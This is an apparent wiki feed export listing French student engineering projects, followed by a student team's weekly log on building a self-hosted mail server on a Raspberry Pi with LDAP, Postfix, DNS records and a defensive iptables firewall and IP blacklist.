&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P26 Robot de forgeage et d’usinage]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bertrand Yvernault / Louis Thebault &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 17:51&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P27 Robot de fraiseuse]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Flavien Royer / Maxime Morisse &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P30 Thermostat connecté et intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; TISSOT Elise / TIRABY Céline &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Guillaume Renault / Alexandre Boé / Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_final_PFE_TISSOT_TIRABY.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 19/02 par L. Engels &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P32 Récupération d'énergie pour balise BLE]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin Sultana &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Frédéric Giraud / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_P32_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 24/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérôme Bailet / Mehdi Zeggaï &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Laurent Grisoni / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 25/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P35 Robot de test pour le sport de Golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Deborah Saunders &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:07&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Sandra HAGE CHEHADE / Thomas DANEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent COELEN / Rochdi MERZOUKI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Louis CHAUCHARD / Romain IMBERT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:21&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:IMA5_P40_Chauchard_Imbert_RapportFinal.pdf‎]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 23/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P13 Plateforme expérimentation IOT]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; ROCHE François &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:PFE_P13-Plateforme_expérimentation.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bown Alexander / Piat Valentin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Pilulier automatique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Manouk Simon / Corentin Duplouy &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 23/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27638</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27638"/>
				<updated>2016-02-23T11:04:52Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
